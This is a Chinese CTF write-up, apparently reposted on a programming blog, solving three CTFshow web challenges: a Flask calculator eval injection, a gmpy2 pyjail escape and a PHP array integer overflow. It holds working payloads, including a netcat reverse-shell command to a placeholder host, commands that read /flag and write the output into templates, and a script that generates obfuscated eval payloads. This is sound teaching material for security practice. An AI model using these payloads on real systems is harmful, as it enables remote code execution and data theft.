本文主要是介绍CTFshow-菜狗杯-算力超群-算力升级-无一幸免FIXED,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
算力超群
题目来源
CTFshow-菜狗杯-WEB
题目考点
简单沙箱逃逸
题目源码
题目源码来自writeup
# -*- coding: utf-8 -*-
# @Time : 2022/11/2
# @Author : 探姬
# @Forkfrom:https://github.com/helloflask/calculatorimport re
from flask import Flask, jsonify, render_template, requestapp = Flask(__name__)@app.route('/_calculate')
def calculate():a = request.args.get('number1', '0')operator = request.args.get('operator', '+')b = request.args.get('number2', '0')m = re.match(r'^\-?\d*[.]?\d*$', a)n = re.match(r'^\-?\d*[.]?\d*$', a)if m is None or n is None or operator not in '+-*/':return jsonify(result='Error!')if operator == '/':result = eval(a + operator + str(float(b)))else:result = eval(a + operator + b)return jsonify(result=result)@app.route('/')
def index():return render_template('index.html')@app.route('/hint')
def hint():return render_template('hint.html')if __name__ == '__main__':app.run()
解题过程
执行请求 http://1ed5282a-5e0e-42a0-b8a0-460fe11c6202.challenge.ctf.show/_calculate?number1=7&operator=*&number2=XXXX 报错如下:
审阅源码得到
m = re.match(r'^\-?\d*[.]?\d*$', a)
n = re.match(r'^\-?\d*[.]?\d*$', a)
粗心的复制粘贴导致最后一个变量没有任何校验,所以直接使用b进行执行。
先拿报错骗出路径,因为没有回显,所以我们将结果写入可见的路由部分就好了。
#g4的payload
payload:?number2=1,__import__('os').system('nc xxx.xxx.xxx.xxx 1234 -e sh')
或者其他无回显的payload
通过写文件回显
_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('ls / >/app/templates/hint.html')_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('cat /flag >/app/templates/hint.html')
构造展示文件目录的Payload
_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('ls / >/app/templates/hint.html')
执行Payload
回显结果如下
访问 http://7125305f-e54e-406f-91cd-3c92b19e4813.challenge.ctf.show/hint 得到如下结果
构造读取flag文件的Payload
_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('cat /flag >/app/templates/hint.html')
执行Payload,得到如下结果
再次访问 http://7125305f-e54e-406f-91cd-3c92b19e4813.challenge.ctf.show/hint 得到flag
ctfshow{34063eb3-8e41-468f-946e-c21fb0086e32}
另一种方法
/_calculate?number1=&operator=&number2=__import__('os').popen('ls /').read()
/_calculate?number1=&operator=&number2=__import__('os').popen('tac /flag').read()
算力升级
题目来源
CTFshow-菜狗杯-WEB
题目考点
gmpy2.__builtins的命令执行
题目源码
# !/usr/bin/env python# -*-coding:utf-8 -*-"""# File : app.py# Time :2022/10/20 15:16# Author :g4_simon# version :python 3.9.7# Description:算力升级--这其实是一个pyjail题目"""from flask import *import osimport re,gmpy2 import json#初始化全局变量app = Flask(__name__)pattern=re.compile(r'\w+')@app.route('/', methods=['GET'])def index(): return render_template('index.html')@app.route('/tiesuanzi', methods=['POST'])def tiesuanzi():code=request.form.get('code')for item in pattern.findall(code):#从code里把单词拿出来if not re.match(r'\d+$',item):#如果不是数字if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})try:result=eval(code)return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})except:return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})@app.route('/source', methods=['GET'])def source(): return render_template('source.html')if __name__ == '__main__':app.run(host='0.0.0.0',port=80,debug=False)
题目提示
提示:输入算式即可让R4帮你进行计算,本次R4重装升级,已经支持gmpy2了,可以使用gmpy2的函数进行计算,那我们赶快开始吧!
解题过程
打开题目链接,得到如下界面
点击 左上角查看源码,得到源码
# !/usr/bin/env python# -*-coding:utf-8 -*-"""# File : app.py# Time :2022/10/20 15:16# Author :g4_simon# version :python 3.9.7# Description:算力升级--这其实是一个pyjail题目"""from flask import *import osimport re,gmpy2 import json#初始化全局变量app = Flask(__name__)pattern=re.compile(r'\w+')@app.route('/', methods=['GET'])def index(): return render_template('index.html')@app.route('/tiesuanzi', methods=['POST'])def tiesuanzi():code=request.form.get('code')for item in pattern.findall(code):#从code里把单词拿出来if not re.match(r'\d+$',item):#如果不是数字if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})try:result=eval(code)return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})except:return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})@app.route('/source', methods=['GET'])def source(): return render_template('source.html')if __name__ == '__main__':app.run(host='0.0.0.0',port=80,debug=False)
通过审计源码可知,如何绕过执行的限制是关键。
审计源码可知,源码对于输入的限制是两个正则,要求要么是数字,要么是dir(gmpy2)中的内容。我们在自己的环境中试一下,发现gmpy2.__builtins__是含有eval的,思路就是使用eval和dir(gmpy2)中的内容拼接字符串,payload生成脚本如下:
s="__import__('os').popen('cat /flag').read()"import gmpy2payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("for i in s:if i not in "/'(). ":temp_index=0temp_string='x'*20for j in dir(gmpy2):if j.find(i)>=0:if len(j)<len(temp_string):temp_string=jtemp_index=j.find(i)payload+=f'\'{temp_string}\'[{temp_index}]+'else:payload+=f'\"{i}\"+'payload=payload[:-1]+')'print(payload)
执行Payload,得到flag
ctfshow{0ffe7319-b454-455d-bdae-fbbad7a7521a}
无一幸免FIXED
题目来源
CTFshow-菜狗杯-WEB
题目考点
数组整型溢出绕过赋值式“永真”判断
题目源码
<?php
include "flag.php";
highlight_file(__FILE__);if (isset($_GET['0'])){$arr[$_GET['0']]=1;if ($arr[]=1){die("nonono!");}else{die($flag);}
}
解题过程
打开题目链接,得到题目源码界面如下:
审阅代码,可知这道题目需要用到整形数组溢出去解答
构造Payload如下
http://3dc6fa9e-1ce1-4e63-8767-bb0f3db5bf2b.challenge.ctf.show/?0=9223372036854775807
执行Payload得到flag
ctfshow{bb86b68a-9f7a-4980-8494-8d1e8cc2fb6d}
这篇关于CTFshow-菜狗杯-算力超群-算力升级-无一幸免FIXED的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!